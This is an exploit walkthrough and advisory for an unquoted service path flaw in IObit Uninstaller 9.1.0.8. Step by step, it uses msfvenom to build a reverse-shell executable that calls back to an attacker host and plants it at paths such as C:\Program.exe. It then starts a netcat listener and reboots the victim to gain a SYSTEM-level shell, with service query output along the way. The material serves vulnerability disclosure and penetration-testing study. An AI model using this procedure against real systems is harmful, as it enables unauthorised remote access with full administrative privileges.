Install vulnerable software
Windows + R
and type cmd
Execute command sc qc IObitUnSvr
C:\>sc qc IObitUnSvr[SC] QueryServiceConfig SUCCESSSERVICE_NAME: IObitUnSvrTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 0 IGNOREBINARY_PATH_NAME : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exeLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : IObit Uninstaller ServiceDEPENDENCIES :SERVICE_START_NAME : LocalSystem
BINARY_PATH_NAME
contains spaces and isn’t enclosed within quotes
Make a malicious exemsfvenom -p windows/shell_reverse_tcp LHOST=[IP-ATTACKER] LPORT=[PORT-ATTACKER] -f exe -o IObit.exe
Copy a malicious exe in some path like the following
C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\IObit\IObit.exe
Listen on attacker machine nc -lvnp 5555
Reboot victim system
When the victim machine reboots, you will get a reverse shell with admin system privileges
# Title: IObit Uninstaller 9.1.0.8 - 'IObitUnSvr' Unquoted Service Path# Author: Sainadh Jamalpur# Date: 2019-10-22# Vendor Homepage: https://www.iobit.com# Software Link: https://www.iobit.com/en/advanceduninstaller.php# Version : 9.1.0.8# Tested on: Windows 10 64bit(EN)# CVE : N/A# 1. Description:# Unquoted service paths in IObit Uninstaller v9.1.0.8 have an unquoted service path.# PoC===========C:\>sc qc IObitUnSvr[SC] QueryServiceConfig SUCCESSSERVICE_NAME: IObitUnSvrTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 0 IGNOREBINARY_PATH_NAME : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exeLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : IObit Uninstaller ServiceDEPENDENCIES :SERVICE_START_NAME : LocalSystemC:\>#Exploit:============A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.# Disclaimer=============The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.The author prohibits any malicious use of security related information or exploits by the author or elsewhere.